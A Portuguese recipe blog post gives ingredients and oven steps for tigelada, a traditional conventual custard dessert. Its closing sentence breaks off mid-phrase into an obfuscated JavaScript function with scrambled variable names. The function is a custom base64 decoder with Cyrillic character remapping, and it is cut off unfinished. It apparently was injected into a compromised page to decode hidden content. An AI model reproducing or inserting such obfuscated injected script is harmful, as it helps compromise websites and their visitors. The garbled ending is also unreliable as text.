Tigelada – um fantástico doce conventual
Não há prazer maior do que provar um doce fantástico, verdade? Então se for um doce conventual português não há como resistir! Já sabe que faço sempre questão de lhe dar as melhores receitas da gastronomia do nosso país. O doce que lhe trago hoje é um verdadeiro clássico – a tigelada!
Este doce é simplesmente fantástico e tem versões diferentes espalhadas um pouco por todo o país. Mostro-lhe uma destas versões para que, tal como eu, se delicie com este fantástico doce!
Para além de absolutamente delicioso, é também muito simples de fazer e tem apenas cinco ingredientes. Simples, verdade? E o resultado é maravilhoso!
Veja, então, como pode fazer esta tentação:
Ingredientes:
4 ovos inteiros
16 gemas
500g de açúcar
1 chávena de farinha bem cheia
1 litro de leite
Raspa da casca de 1 limão
Modo de preparação:
Comece por pré-aquecer o forno a 220.ºC. Tradicionalmente, este doce é servido em tigelas de barro não vidrado. Deve, neste momento, colocar as tigelas no forno, para que aqueçam antes de serem utilizadas.
Junte os ovos inteiros, as gemas, o açúcar e a raspa de limão, batendo durante cerca de 10 minutos com uma batedeira elétrica ou durante 30 minutos à mão. Embora bater os ingredientes à máquina possa ser mais fácil e rápido, também resulta em tigelada mais rijas.
Comece a acrescentar a farinha, mas não o faça tudo de uma só vez – deve misturar a farinha pouco a pouco, batendo sempre, para que fique com a consistência adequada.
Por fim, adicione e mexa o leite. Depois, retire, com cuidado, as tigelas do forno e deite o preparado, sendo que estas não devem ficar muito cheias.
Leve as tigeladas a cozer durante cerca de 25 minutos ou até que estejam visivelmente douradas. Antes de as servir, deixe que arrefeçam no forno, com a porta entreaberta.
E aqui tem, as fantásticas tigeladas! Este doce conventual é maravilhoso e, garantidamente, vai ser a delícia de toda a família. Ficou com água na boca, certo? Então tem mesmo de experimentar!
Para saber como fazer mais doces tradicionais da gastronomia portuguesa, por que não ver também as receitas de function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa